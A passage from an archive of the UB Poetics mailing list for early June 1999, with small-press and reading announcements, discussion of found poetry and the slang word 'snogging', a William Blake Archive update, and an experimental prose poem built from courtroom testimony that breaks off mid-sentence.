To participate, log in to cmcMOO using your web browser: http://cmc.uib.no:8000 or log in with a telnet or MOO client to Little Italy at little.usr.dsi.unimi.it:4444 or to cmcMOO at cmc.uib.no:8888 - and do it at 3 pm GMT (come and practice beforehand if you can). (see http://www.bldrdoc.gov/timefreq/javaclck.htm if you don't know when that is in your time zone) If you have trouble, contact Jill Walker at [redacted] or Walter Vannini at [redacted]

You can find detailed instructions and more about the topics we'll be discussing at http://humans.net/cybermountain/moo.html

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46. Katie Degentesh

ANNOUNCEMENT: NINE BY NINE INDUSTRIES

Wed 2 Jun 1999

****

ANNOUNCEMENT: NINE BY NINE INDUSTRIES is pleased to announce the publication of books by two of its founding members: SORRY, WE'RE CLOSE, a collection of poetry and stories by J. Tarin Towers; and THE ARTIST OF THE MISSING, Paul LaFarge's first novel.

Both books are available from fine booksellers both corporeal and online. Complete publication information appears at the end of this message, as well as information about 9x9's other endeavors. More readings by these authors are listed on their respective web sites, also listed below.

INVITATION: Please join us for a reception for Tarin Towers on Sunday, June 6, from 2-5 p.m. at Allison's house, 419 S. Van Ness (SF). A $2 donation is requested to secure the space, but no one will be turned away. BYOB.

AND

The publisher's book party for Tarin Towers occurs later that evening at the Paradise Lounge (11th & Folsom, San Francisco) at 8 p.m. FREE! James Cagney of Oakland will also be reading poetry, and an open mike follows the reading.

PUBLICATION INFO:

THE ARTIST OF THE MISSING (Farrar, Strauss, and Giroux, 1999) is Paul LaFarge's first novel. Publisher's Weekly calls it "a feverish fantasy disguised as a political allegory disguised as a Borgesian work of fiction disguised as a dream." In the book, two expatriate brothers arrive in a seaside town where nothing is what it seems. Kirkus Reviews called it "Ambitious, poetic, intelligent, otherworldly." ISBN: 0374525803 Web: http://www.paraffin.org/artist/

SORRY, WE'RE CLOSE (Manic-D Press, 1999) is the first full-length collection by J. Tarin Towers. Pieces in this book have appeared in such anthologies, magazines, and recordings as the Pushcart Prize Anthology 1999, The Fray, and Beaten to the Bone. "Towers has a keen ear for the rhythms of everyday speech and a form that flirts with tradition. In a framework encompassing love, sex, and betrayal, these poems and stories explore the boundaries of the heart's language." ISBN: 0916397580 Web: http://www.tarin.com/sorry/

OTHER TITLES BY 9x9 MEMBERS include: * 6,500 #1, the official literary magazine of 9x9 Industries * LUNCH FROM AN EMPTY PLATE, a chapbook by Katie Degentesh * NOUGHTBOOKS 1 and 2, chapbooks by Eugene Ostashevsky * BECAUSE THE BRAIN CAN BE TALKED INTO ANYTHING, poems by Jan

Richman * WENCHES AND WRENCHES, a comic book by The Mysterious Mr. Clam

TITLES BY 9x9 GUESTS include:
* THE INTUITIONIST, a novel by Colson Whitehead
* MONKEY GIRL, poems and stories by Beth Lisick
* INTEGRITY & DRAMATIC LIFE, poems by Anselm Berrigan
* NOTHING THE SUN COULD NOT EXPLAIN, Brazilian poetry edited by Michael Palmer
* THE LION BRIDGE: SELECTED POEMS 1972-1995, by Michael Palmer
* PELT, poems by Daphne Gottlieb
and many, many more!

NEXT 9X9 EVENT: JUNE 17 at Adobe Books: Sonia Whittle, Vladlen Pogorelov, and Klipschutz. Join us for the final reading in 9x9's 1998-1999 Adobe season. Watch this space for details.

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47. Douglas Oliver
Re: snogging
Wed 2 Jun 1999

As a kneejerk ageing heterosexual Brit, I am answering David Bromige's appeal for clarification on what I'm sure this list thinks the Brits still call "courting".

Snogging was a 1950s word, as he says, but didn't necessarily mean heavy petting in those innocent days. Heavy kissing was enough to qualify, preferably if the lips went slightly numb. Petting came in from the US about that time and when that got heavy more use of hands was involved on both sides. Gay behaviour was simply illegal. I've many happy memories of snogging in cinemas during the afternoons, my favourite time for this activity.

I've been mildly interested in the US takeup of the term "bonking", which I've rigorously outlawed my own vocabulary because I think it originated (or was widely used) in British royal family circles, and I try to keep my mouth clean of any shit like that. E.g., Prince Andrew's famous piece of wit, no doubt borrowed: "Bonking is horizontal jogging," which shows a level of emotional involvement somewhat pre-snogging even. Perhaps one could say, "Snogging is jogging at a higher level" but then "jogging" is anachronistic there, a creation of the 1960s, I'd guess. God, I'm beginning to sound like William Safire.

Doug Oliver

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48. Kathleen Crown
A Poets Gathering Against the War
Wed 2 Jun 1999

A Poets Gathering Against the War

with readings by:

Dot Antoniades * Katherine Arnoldi * Brett Axel *
Anselm Berrigan * Harold A. Bowser III * Steve Cannon *
Stacey Ann Chin * Mitchel Cohen * Marc Desmond *
Reg E. Gaines * Guy LeCharles Gonzalez * Steve Hirsch *
Bob Holman * CD Johnson * Eliot Katz * Loki Kevorkian *
Patrick Kowalchuk * Tony Medina * Nancy Mercado *
Tom Obrzut * Onome * Amy Ouzoonian *
Pedro Pietri * Aileen Reyes * Keith Roach * Bob Rosenthal *
Susan Sherman * Dan Shot * Hal Sirowitz *
Suzanne Solomon * Miriam Stanley * Eileen Sutton *
Kyrce Swenson * Meaghan Williams * Maggie Zurawski *
plus a speaker from the War Resisters League
& more

Sunday, June 13th, 1999 * 4-8pm * Free

A Gathering of the Tribes Gallery
285 E. 3rd Street (betw. Avenues C & D), 2nd Floor
Website: www.tribes.org * Email: [redacted]
Phone: [redacted]

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49. Gerald Schwartz
S+E+A+N+C+Eperf.
Wed 2 Jun 1999

For those in the Northeast Corridor...Specifically in the Albany, New York area:

Sunday June 6th...7 PM
@ THE LOFT, 40 Broadway, Albany, New York

DOLLSOUL (S+E+A+N+C+E)
An event, a collision, an improvisation
by Gerald Schwartz & Damian Catera

Also: solo performances by
*Damian Catera
* K K Null

Gerald Schwartz & Damian Catera's DOLLSOUL (S+E+A+N+C+E) performance will be an extension of Schwartz's poetry and catera's sound design: it will itself be set in contrast to drama or libretto, since all parts of its stagework are inseparably bound up together. It will only happen there, then. They will have no clear out-lines, save the annilation and transmission of a doll soul. It will be a meditation on dolls, all cultures, all eras. It will be as disturbing, as any such catalogue must be.

Damian Catera will perform works based on PROCESS, OBJECT, INTUITION, the inaugural full-length release on the newly formed Harsh House label. This work is realized with an expanded instrument system designed by Catera, sampling and mutating bits of performed guitar sounds, creating a constantly evolving soundscape. This should appeal to both hard-cores and enthusiasts of the future.

K K NULL is the future. This Japanese noise auteur will crush you, and you will learn to like it. Be it the massive riffs of his band Zeni Geva (that made us all run for cover), or the high-pitched sheer mass of his solo release INORGANIC ORGASM, Kazuyuki Kishino Null will sonic you but good. BIG TIME.

Directions to THE LOFT:

> *FROM 787 SOUTH:*

Get off at Madison Ave./Port of Albany exit. Take left at light at the end of the exit ramp following the signs to Port of Albany. Follow road underneath overpass. Take right into Port of Albany. Pass U-Haul building on left. Follow road 1/8th of a mile. Take right at 4th Ave. Park along side or in back of building. Go into 1st door in from Broadway with the Bankshot sign next to it and go up the stairs.

$5 at the door.

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50. nuyopoman

Frank Lima

Wed 2 Jun 1999

In case you didn't know, Frank Lima's new book _idobelieveidobelieve_ , his rewrite of The Bible, is coming out in October (West End). It's a sign.

You can taste "Jesus' First Draft of the Sermon on the Mountain," at my old MiningCo site which amongst much trumpeting is now About.com. It's About time, etc.

http://poetry.about.com
or
http://poetry.about.com/library/weekly/mcurrent.htm?pid=2734&cob=home

Bob Holman

↑ Index

51. travmar03
Fw: Eddie Berrigan and Greg Fuchs at Teachers and Writers
Wed 2 Jun 1999

Eddie Berrigan and Greg Fuchs
will read and do other extraordinary things
to celebrate the publication of their new books

Disarming Matter -- Edmund Berrigan

Came Like It Went -- Greg Fuchs

Teachers and Writers
5 Union Square West. 7th Floor. (between 14th & 15th Sts.)
6:30 PM
Friday June 4, 1999

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52. jesse glass
Re: found poetry
Wed 2 Jun 1999

I might also add my own series of poems Man's Wows deconstructed from John George Hohman's collection of folk remedies The Long Lost Friend. A selection from this series was published in 1982 by Charles Alexander's Black Mesa Press. Other poems from the series have appeared in Membrane, Synaesthetic, Assembling, etc. The complete Man's Wows will appear in limited edition format next year. These poems were found "inside" of the original texts. My inspiration for the project came from Ron Johnson's RadiOs and Tom Phillips.
Jesse Glass

-----Original Message-----
From: Patrick F. Durgin <[redacted]>
To: [redacted] <[redacted]>
Date: Tuesday, June 01, 1999 9:30 AM
Subject: Re: found poetry

> Jena
>Rod Smith's piece in the second issue of Tripwire, as well as some of

>O'Hara's plays, might be interesting to you if you intend to look at
>faux-found text works. Rod's piece is especially interesting as he's
>culling and reworking and, most of all, role-playing recognized figures in
>what amounts to a critico-poetic essay. Though I may have stretched these
>terms beyond their breaking point, here.
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>At 04:53 PM 5/25/99 -0700, Taylor Brady wrote:
>>Jena,
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>>A few texts spring most readily to mind here:
>>
>>Jackson Mac Low's _Words nd Ends from Ez_, _Virginia Woolf Poems_,
>>_Barnesbook_, etc.
>>Ronald Johnson's _Radi Os_ (1st 4[?] books of Paradise Lost, written-through
>>by subtraction)
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>>heard on the news, but most of it's close)
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>>the Ear Inn back in '95(?), which was created by successively working
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>>Clark Coolidge's _The Maintains_?
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>>aesthetic and political claims that have been made for them, etc.
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>>I hope this is at least a little helpful.
>>
>>
>>Taylor
>>
>>
>>-----Original Message-----
>>From: UB Poetics discussion group
>[mailto:[redacted]]
>>On Behalf Of Jena Osman
>>Sent: Tuesday, May 25, 1999 9:21 AM
>>To: [redacted]
>>Subject: found poetry
>>
>>I'm interested in poems that were "found" inside of other texts (such as
>>Cage's mesostics and Reznikoff's _Testimony_). What are some favorites in
>>this genre by others? Any critical texts about these kinds of procedures I
>>should know about?
>>
>>Thanks,
>>Jena Osman
>>[redacted]
>>
>>
>

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53. Billy Little
Time to Read?
Wed 2 Jun 1999

semester's over? papers graded? grad money burning a hole in your pocket?if you are serious at all about this calling, this vocation, this profession i don't see how you can avoid at least reading Rhizome and if you're already eating well i'd give up a couple of first run movies to subscribe it's so elegantly(but not ostentatiously) and lovingly presented i wouldn't be surprised to hear the current issue was being used as a standard in a design course, no pun intended, standard schaefer and evan calbi have edited Rhizome so well, if they don't get any job they apply for, i pity the employer. and a lot of your friends have discovered it already Gwyn McVay, Chris Stroffolino, Catherine Wagner, Emily Grossman, Cole Swenson, Jena Osman, Patrick Prichett, Jacques Debrot, Summi Kaipi, Ray DiPalma and lots more offered in this substantial 231page edition, you won't be taking this to the recycling depot anytime soon, you'll be reading and rereading this and passing it among your friends. And if you're penniless, as i am, go to your library , recommend this as a professional tool for acquisitions librarians who want to do a fair job at representing poetry, one of the seven deadly arts after all, recommend they buy two, one for training staff and one for general circulation. And while you have your checkbook out, this edition of the 2River View, edited by Richard Long, would be a good one to begin your prescription with, the collaboration of Creeley and Indiana alone will cure ya.

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy
[redacted]
zonko

↑ Index

54. David Baratier
Re: Watten - Total Syntax
Wed 2 Jun 1999

Marc--

I do. On my shelf. How about $500? I'll throw in a poetry lesson.

Be well

David Baratier

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55. Poetics List
More summer reading / idiom
Wed 2 Jun 1999

---

this came to the administrative account. Chris

From: idiom <[redacted]>
Date: 6/1/99 10:01 PM -0700

Announcing 2 new chapbooks and yet another new URL from IDIOM ...

Please peruse our new selections at http://www.idiomart.com/new.html ...

Faith -- a romantic reliquary, by Katherine Lederer

Profession -- a marvel of Renaissance architecture, by Gregg Biglieri

available now for $6 each ...

****
idiom
[redacted]
http://www.idiomart.com

****

↑ Index

56. Lowther,John
Re: Time to Read? / rhizome / shark
Wed 2 Jun 1999

---

i'd just like to jump in here briefly
as i posted when this 1st came out
and then again taking issue with standard's essay
and in neither did i get around to saying
that the issue itself is really great

billy little notes many of the poets
who i enjoyed the most in the issue
but i'd also like to mention
Robert Crosson, Annie Le Brun, Joe Ross, Franklin Bruno, Garrett Caples,
Paul Vangelisti, E. Tracy Grinnell and Guy Bennett
(and it is Guy who does the typesetting
 and much of the design i suspect
 the title page certainly has
 his look about it)

it's a really good read

_____and

i saw the new issue of shark
a couple of nights ago
at our weekly APG meeting
and immediately called
dibs on it next

it looks fuckin great !

lost of graphic stuff
and some dialogue-type sections
 (is it just me
  or is there a rise
  of explicitly multi-voice'd
  writing these days?)
i got the sense that
there is a more 'conceptual' approach
taken by a significant # of contributors

on a (for now) cursory look
i'm guessing that this issue
of shark is essential

(hey you shark editors - wanna trade magazines with poor poet down south?)

)L

↑ Index

57. Thomas Bell
Re: Ann Hamilton/ Charles Reznikoff
Wed 2 Jun 1999

---

albeit there might be some differences in quality of the artwork or poetry, i don't see how this differs from visual poetry. Not to detract from Ann Hamilton and her riveting "language of her own" i wonder how much attention she would be getting were she to call herself a poet? Is she a poet? She fits my definitiiion.

tom bell

Stephen Vincent wrote:
>
> In case you did not see it, there's a lovely piece in this past Sunday's NY

--
//\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\
OOOPSY \//\\\/\//\\\/ <><>,...,.,
WHOOPS J K JOVE BY HHH ZOOOOZ ZEUS'WRATHHTARW
LLLL STOPG [EMPTY] SPACER

index of online work at http://members.home.net/trbell
essays: http://members.tripod.com/~trbell/criticism/gloom.htm

↑ Index

58. **Harvey Jordan**

Re: found poetry

Wed 2 Jun 1999

In the 60s, George Stanley published a collection called, "Experiments in Modern Poetry," (something like that). The texts were sewing machine instructions, recipes, etc. I recall loving it at the time. |Still have it somewhere. It was published by Kayak, maybe? Does anyone recall it?
Harvey Jordan
----- Original Message -----
From: Patrick F. Durgin <[redacted]>
To: <[redacted]>
Sent: Saturday, May 29, 1999 3:28 PM
Subject: Re: found poetry

> Jena
> Rod Smith's piece in the second issue of Tripwire, as well as some of
> O'Hara's plays, might be interesting to you if you intend to look at
> faux-found text works. Rod's piece is especially interesting as he's
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> >I hope this is at least a little helpful.
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> >Taylor
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> >From: UB Poetics discussion group
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> >On Behalf Of Jena Osman
> >Sent: Tuesday, May 25, 1999 9:21 AM
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I
> >should know about?
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> >Thanks,
> >Jena Osman
> >[redacted]
> >
> >
>

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59. Alan Sondheim

Julu for Netscape (preferably 4 or greater) (fwd)

Wed 2 Jun 1999

Text for Julu for Netscape (preferably 4 or greater)

http:www.anu.edu.au/english/internet_txt/out.htm

↑ Index

60. Lowther,John
Re: found poetry
Wed 2 Jun 1999

---

my favorite piece of found poetry
or perhaps found art in this case

turned up on the floor of the airport in las vegas
(i was wearing a dress and get-up reminescent of terry jones in old-lady
drag at the time)

this object fits into the breast pocket
of a airline uniform blazer
and is made from a piece of cardstock
folded around a piece of polyester
itself folded to look like a hankerchief
the polyester is a rich burgundy color

on the card is a sticker and on the sticker
it says ;

"POCKETY-PUFF IS A COMPLETE UNIT"

↑ Index

61. William Marsh
PaperBrainPress
Wed 2 Jun 1999

Hi all:

PaperBrainPress is happy to announce two new titles: Rebecca Byrkit's "Suite: Mary" and Steve Carll's "DRUGS" (just in time for the San Diego summer).

The chapbook series is now six books deep...

[click for samples]

DRUGS (S.Carll)
http://bmarsh.dtai.com/PBrain/drugs.html
Suite:Mary (R.Byrkit)
http://bmarsh.dtai.com/PBrain/mary.html
numens from centrality (S.Murphy/P.Ganick)
http://bmarsh.dtai.com/PBrain/numens.html
mag nets (M.Magoolaghan)
http://bmarsh.dtai.com/PBrain/magnets.html
ROOMS (D.Featherston)
http://bmarsh.dtai.com/PBrain/rooms.html

b/c (W.Marsh)
http://bmarsh.dtai.com/Works/bc/bccontents.html

... and books come in all shapes and sizes ....

Any interested in supporting the effort can get all six for $20 -- or any one for $5 or any two for $8. Other details about the press can be found at http://bmarsh.dtai.com/PBrain/pbrain.html.

Thanks, and happy solstice to all.

Bill Marsh ([redacted])
PaperBrainPress
1022 Emerald St.
San Diego, CA 92109

↑ Index

62. Alan C Golding
Snogging
Wed 2 Jun 1999

On "snogging," I must beg to differ slightly with my esteemed senior compatriate Prof. Bromige. When I was growing up (to the extent that I did) in England, "snogging" was pretty much synonymous with the American "necking." This was mid-late '60s. "Heavy petting" was the next stage to which one (or I) aspired to take the snogging. Even then it struck me as one of those words that sounded like it meant something much less pleasurable that the actual activity it referred to--kind of like that old Valley-speak term, "sucking face."

Another Aging Britspeak Person
_____--

Alan Golding
University of Louisville

[redacted]

↑ Index

63. Stephen Vincent
Re: snogging
Wed 2 Jun 1999

Perhaps a sibling of "snogging," a few months back in a local San Francisco bar I once heard a young Irish woman argue - in defense of Monica – "If she wants

to snorkel with the President, that's her own damn business." The verb gave a curious, but nice submarine quality to life in the Oval Office.

↑ Index

64. Matt Kirschenbaum
Blake Archive's June Update
Wed 2 Jun 1999

---

2 June 1999

The William Blake Archive <http://www.iath.virginia.edu/blake> is pleased to announce the publication of new electronic editions for two works in Blake's emblem series: _For Children: The Gates of Paradise_ and the revised and augmented version _For the Sexes: The Gates of Paradise_. Through a numbered series of intaglio plates with inscriptions ranging from single words to brief aphorisms, Blake puts the course of human life from birth to death in psychological perspective. Some of the emblems form narrative sequences; others exemplify mental states and their reification in the external world. Blake etched in intaglio the eighteen plates of _For Children_ in 1793 and printed all extant copies (A-E) in the same year. The copy published in the Archive is copy D, from the Rosenwald Collection, Library of Congress.

In about 1820, Blake revised _For Children: The Gates of Paradise_, giving the work a new title, _For the Sexes: The Gates of Paradise_, reworking the design plates at least twice, and adding three new text plates at the end (19-21). Plates 19-20 contain brief interpretive statements keyed by number to the preceding design plates. The final plate is addressed to Satan as the "God of This [fallen] World." Copies A and B were probably printed c. 1820. Copies C and D, plus a large group of impressions never collated into complete copies by Blake but now divided into what are designated as copies J-N, date from c. 1825. Copies E-I are probably posthumous. We now publish copy D, from the collection of the Pierpont Morgan Library, New York.

Both electronic editions have newly edited SGML-encoded texts and new images scanned and color-corrected from first-generation 4x5" transparencies; they are each fully searchable for both text and images and supported by the Inote and ImageSizer applications described in our previous updates.

With the publication of these two titles, the Archive now contains 33 copies of 18 separate books, including at least one copy of every one of Blake's works in illuminated printing except the 100 plates of _Jerusalem_ (forthcoming).

Also, we are pleased to announce that a Tour of the Archive is now available online. Through a sequence of several dozen graphical screenshots linked to narrative commentary, the Tour introduces users to the basic organization and

structure of the Archive, the features of its interface, its search options, and the function of the Inote and ImageSizer applications. The Tour is located in the "About the Archive" wing of the site. Available as the first link off our main table of contents page at the URL above, the "About the Archive" materials include, in addition to the Tour, a statement of Editorial Principles and Methodology, a Frequently Asked Questions list, a Technical Summary, and an updated version of the article-length Plan of the Archive detailing our intentions with regard to Blake's non-illuminated works--and more. We hope that the Tour, together with these other materials, will prove valuable both to our own growing user community and to scholars interested in the theory and practice of electronic editing more generally.

Morris Eaves, Robert N. Essick, and Joseph Viscomi, Editors
Matthew G. Kirschenbaum, Technical Editor
The William Blake Archive

↑ Index

65. Tom Beard
symbolic snogging
Wed 2 Jun 1999

> *When I was a student in Britain in the 50's, snogging was just another name for kissing, somewhat more than affectionate but not particularly heavy! Quite enjoyable really!*

Not just Britain, and not just in the 50's. 'To snog' (v.t. & v.i.) is pretty common usage in NZ today, although I think that it was probably imported from England in the 80's (my first memory of it was Vyvyan talking of snogging his hamster). Before that, the equivalent was 'to pash' (from 'passion'), as in 'having a pash behind the bikesheds'. Pashing seems to be making a comeback, especially among gen-X-ers with ironic nostalgia for growing up in the 70s.

'Snogging' probably became popular about the same time as 'bonking', although 'shagging' has been making a comeback in the 90's. Hell, post-Austin Powers, even Americans know what it means!

On a slightly more substantial note, I'm interested by what Judy said about symbolic logic:

> Non-symbolic logic is what people did before the mid-19th century and still
> do. More connected with human language/mind. Symbolic logic has an aspect
> in which it is just another branch of mathematics (think algebra; think

> algorithms); non-symbolic logic does not. Symbolic can swallow up whole
> fields that perhaps it shouldn't (think modal logic, i.e., notions of
> necessity/causality) if you let it.

In a sense, symbolic logic is not 'just another branch' of maths: it's an essential foundation of most branches of mathematics. Any formal proof requires a process that, if not actually written as formal logic, should be able to be reduced to it.

I don't think that symbolic logic was intended to replace the non-symbolic kind, but was an attempt to systematize the kind of conscious reasoning that goes back to Aristotle. It does swallow up whole fields; at least in the sense that it narrows those fields. It's a constant reminder to question the foundations of any field: if the meta-axioms (law of the excluded middle, for example) don't apply, then any reasoning built upon that foundation will collapse.

As an interesting aside, there's a lot of criticism of the binary true/false nature of Western logic. It's ironic, then, that Leibniz's development of binary arithmetic was partly based upon his reading of the I Ching!

Regards,
Tom Beard

↑ Index

66. pete spence
Re: hannah weiner's WRITTEN IN/THE ZERO ONE
Wed 2 Jun 1999

THANKS!! the 2nd response to my notifications on the copies of Hannah Weiner's Written In/The Zero One was good!! for those who missed both notifications i have quite a few copies left. The book was printed in 1986 by Post Neo Publications Melbourne Australia. The book was poorly distributed by me at the time. If you are interested in getting a copy please send $5.00 cash (bank charges on overseas cheques etc here in Australia make sending cheques etc useless)and i will promptly send the book back Airmail, you should also send your letter ordering the book Airmail.
send to:
pete spence
40 bramwell st
ocean grove
3226
victoria
australia.

also those who have ordered the book recently i'd like your comment when you get it//yours pete spence

---

Get Your Private, Free Email at http://www.hotmail.com

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67. Patrick F. Durgin
Re: the flux of context
Wed 2 Jun 1999

At 04:56 PM 6/1/99 -0400, Jordan Davis wrote:

But what is so impossible to think term
>about "poetry"?
. . . . it's just games, sets, relations.

Okay, but without proposals, I think I meant, and proposals are our business, our wares, such relations are unlike poetry-bytes. Cross-propositions might be a preferable term for "games, sets, relations." Poetry signifies too many or too little, depending on the company one keeps.

> *In re: "efficacy" I think we are standing across the crater from oeach ether. I am acting as inaudible interpreter of rumblings across generational strata. We are hearing "why no politics." I would rather not say "but yes politics!" I would rather say "what means why no politics." I have a quiet feeling that this is another chance for generational call and response invite to Freuddance. We'll see!*

Another proposal may be to carefully elaborate the divide by means of registering efficacy in light of, you nailed it, the suck of context. You one nifty public correspondant. Don't be so quiet about it. Patrick

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68. Kevin Magee
Re: WE WANT ALL GUNS TAKEN OUT OF IRELAND
Thu 3 Jun 1999

This "social sculpture" as he called it, unconditional being Bobbie Joe August 27 1996 the sickness does it have all its arms legs fingers toes gonna precious life and love see the face dice lucky stars this way and that way a many splendor miracle spelled barley barely swirl dispair chant you can't please accept this for the school's poetry contest thank you part two on opening day cuss the bus maroon moo-ron moron one person takes up two spaces rearrange their faces!

Go to the bar to talk to the boss lickety-split my plate, plaint, Propeller Paintings where those few minutes her face orange ambled from my job my little work table in January, torches, chainsaws--just standard gang box--working for Walt's doing little odds and ends on the side in January the other job that was bringing in the rest of that up till about a month ago you were doing side work in July, right, trying to get it clear in my head, are you saying I see what you're doing that's what I want to get at, doing it more so in the last month or so, doing it all along, let's get back to the beginning of the year, start in January, start fresh here at the beginning of the year sometimes at some time before the time commenced or while it was going on that a man apparently in a foreman capacity of some sort walked by the area and the next thing you saw was that helmet of his that fell to the ground, was it damaged? It was broken. Get a new helmet you can't weld with that one and then--well, after he got back we started and Curtis welded his section and moved it up, and he started on another one and that's when Bill started hollering about these symbolic positions--"man," "woman"--they're never inhabited by any one worker-subject, double spiral or double windmill, parallel convergences, tell another narrative on the site of the tablets, tale of the combat that established it, refusing to simply abandon the sites left in ruins, instrumentalize what Breton did in NADJA, the photopoem behind the outside of an inside of an outside double wall opens into imaginary news and fantasies of the real for real outside world fabricated by a solitary self-employed publisher, I'm going to show you a book Walter Benjamin and Ruth Berlau willed to me, are you familiar with the tract of land known as the Miller home place? For sixty years you know who owns the place what sides does it join where is your land the land referred to in the 1940 deed is the land located on the north side of the line marked "MM" the Miller place on the north side and the east side of my field on the eastern side of a line marked six hundred sixty-five what is the western boundary of your land where it joins to a road it's been a road ever since I was big enough to walk pointed out to you by your grandmother or anybody else the land which you now own my grandma pointed out. How many years did they till it they tilled it up until how far west was the land tilled, up to this road, where is the road now, identify where we are, the road is on the eastern side of the ditch, the ditch on the land you tilled and your people tilled up until from the time that--that's right, did you work in the fields with them, I plowed the land, where to the east did you plow, I plowed up until this ditch was dug a document and ask you if that represents the road Grandpa gave Pop to go to and from the field I had to plow it and disc it and drag it to keep it up, did you fill the chuckholes, we kept the bridges up, bridges over what, over these ditches, during the time you have known about this is it the same road today is it here that was there years ago, yes, you farmed near this road on the western side during my time you or your people did ever till on the western side, it was done before I dug the

ditch, before my grandma died, that physical construction of being in language, to make a work instrumental as possible, black adhesive letraset spelled out on a wall, ONE QUART EXTERIOR GREEN INDUSTRIAL ENAMEL THROWN ON A BRICK WALL, concrete specificity of a social life that is felt as much as thought, a homestead warmed by the wish for intimacy, unity and identity, in a structure called "blind" he writes to see his hands reach for the doorknob, a room in the center of a city filled with light and sound of a waterfall pavilion this block of stone, the block as a record of what was simply about putting in place a volume or mass. This white light that you saw from the side of it, were those on both sides or just on the one side if they are on the inside or not in words, in other words, you can observe them as though they are from either direction on both sides whether they have lights inside from your position in the train, József watching the train, leaning in the light in each compartment, this is how the days go by, you were saying you can see a white light coming through a peephole, by seeing that white light then, you have got to know when you looked out, did you look when the excessive cry was heard and when you looked out did you look, why did you look, why is that, well, there's a space of probably ten feet from this seat to that seat, that would be if I were to look out this way, would I see anything other than the buildings going by the window, so that you are seated closer as the train approaches and you are travelling on the south side of the tracks, couldn't you have seated yourself in any other position, yes, I could have, true, so that if you were to look out you would see better because you would be closer than you would be to it, no, I couldn't see it at all, you could observe it better than you could observe on the other side I couldn't observe the other one, the other side, did you observe what you just said, if I understand you is that--what did you see, could you tell me again, what did I see when I heard the excessive cry, it was a clear night and dry, you saw the white light, yes, do you recall that, yes, could the train have been travelling faster, couldn't have been, this particular train I don't believe it could have been because I am talking about capacity, as much as probably doubling it, okay, fine, were you thrown backwards or forwards or sideways, did you initiate this emergency, it is just a position, a subject position, you take it and throw the position the way you throw the lever the air flows in words the speed with which you throw the lever that has nothing to do with it, you don't know how it works, or how it is supposed to or anything, none to my knowledge you walked back did you walk by yourself or with anybody else, had you walked back or not, and as you walked back what is the first thing that you saw, the young man laying along the right-of-way and the young lady laying along the right-of-way, that was just about it at the time, had there been an accumulation of people or not, were they there when you got there, how much time do you think it took you to get back there, did you talk to anybody after you got there, what did you do, I observed the bodies, I took my jacket off and covered this girl up--or, I

think I covered her up, I tried to afford her some comfort with my jacket, that is just about all, I didn't hear all of it. What did you hear. He was trying to give Bill some instructions as to how to weld or something and he just ended it with that, with what, with "That isn't the way to talk to that man, Bill," and he turned--who did you say that to? Why did you say that? Because, you know, I didn't feel you were supposed to address another man like that, you should have more composure than that, he turned and again said, "Just come on out of there." Did you answer when he said that. No. He just ignored you. Yes. And he said, "Come on out of there." Well, before he told him to come out of there, he used some vulgar words. What were the vulgar words. "Damn it." Bill has been known to use much stronger language. Just tell me what he used that day. I just want to know what was used on this particular day. "Damn it" was all that was heard that day. There was something else but I can't think of it. Oh, yes, it was right at my left ear he was, I'm not sure if I had made my weld or not but I was standing there and I had my hood up like this and they had a little argument then, you know, after he said that. Something about turning the heat up on the machine. Darrell Duncan, my foreman, up to this point, do I understand that you had no words with Darrell Duncan, yes, well, Mr. Duncan has always taken a special interest in me from the first day, I am not interested in that, I want to know what happened on this day, I can't recall everything that was said up to this point you said everything being said was a little hollering going on, now, to go back to this Darrell Duncan, did you see a little girl in that vicinity standing on the corner, I was waiting, just looking around like anybody else, and I noticed a little girl standing on the corner, standing on the sidewalk, and she walked across the green grass and as she walked I took my eyes off her this little girl on this corner just before she stepped into the street she went across the green grass where she was walking just before she stepped into the street a moment ago to a tree lawn where this little girl was walking to from the time you saw her and the time she came to a stop, this is the walk, this is the grass, what else could I do then? It was like all over. A big shot of bourbon such as scotch and soda. Did he have either his knife or his gun in his hand at that time when you went to the side door? What was in his hands at the time that he was going to the side door? He said, "Get your damn head away or I will blow it off." I went to the other door in the pantry and reached up and got my gun after he said, "I am going to blow your head off." But to look at just Jones, no, he didn't say that, but it may have at some time, he may have said something like that to me, place your machine in a position where you would be able to hear the conversation, in a place that would not obstruct anybody, where did you place your machine when I was in the corner of that particular room, ask who is absent from the dress, did you have any other clothing on other than that clothing, that dress and some high heel strapless shoes and silk stockings and coat and necklace and bracelet, my underwear, you mean a bra

and panties, yes, and a slip, yes, was that a half slip or a full slip, half slip, when you left the dance hall you walked over to Bog's car and you got in his car to get to his house East 55th to Superior down Superior until about East 66th at that time you arrived at his home during the time from the Hall to his house did you have any conversation with him at the time, I am asking him where he is taking me, he was talking about he went over to that joint on, I think it is 105th and Cedar, I don't know the name of it, anyway he said that somebody, I don't know who it was, somebody was telling him in the joint, some man told him that Louise was running around, she used to go with him, it was tough enough that she wasn't going to go home with him, after you picked Billy up besides going directly to your house we got to my house, Louise in the middle and Billy Boyd was on the opposite side of me, he got out to let me out, Louise got out, and she got out on the street side walking around on the side, so when she got up in my yard he told her she wasn't going in my house, she was going home with him, just like that, "You are going with me," and he told me I didn't have nothing to do with it. She has scars, you know, where he done choked her, and she fell in the hall, when you come in my house you come into the hall, she fell, he got on her, my husband got up, my husband come to the top of the steps, he had on his shorts, he said "You all ain't going to fight, I don't have no fights myself," he said, after he run back and put on his bathrobe. Now, at this time then again Reed said to the guy, "I think we have to use our own common sense and our own live experiences here to decide what kind of group we are talking about, and whether this is just talking to passersby coming out of the show or whether he is talking to eight or nine. They were with him. There was Willie Dunn, Rudy Westerfield, Ugley Mayes, Nathan Gunnoe or Gunnahue, something like that, Rudy Young, then there was Fred Warner, Dwayne Denhart, Dwayne and Dennis Denhart--Tom's sons--Jim Jordan and I forget the other guy's name, I can't think of the other guy's name. He turns with his side and his back towards Reed and I believe with his thumb or his hand, "Is this the one?" Is that the one he said immediately, immediately was the word he used, Jones asked Reed did the boys come up, he said it was almost right away, almost right away and immediately, if that one boy said immediately and the other boy said almost right away, maybe it is a figure of speech, there was strong slang phrases used telling us he told you how a gun had touched him, can you imagine, touched him, touching the barrel of a gun to your forehead in a dark alley, young people again, a crowd of young people, and someone comes up to him and this someone says that this boy has got a gun, someone said that the man was with a gun and the gun is so heavy that the coat is hanging lop-sided, like that, this is a 17-year old boy with a gun that was there for a reason and this is exactly the reason it was there, the gun was taken from the pocket, and I was there at the time you are talking about and it didn't happen that way. He said he never saw Romeo Conner standing there or taking any part in the

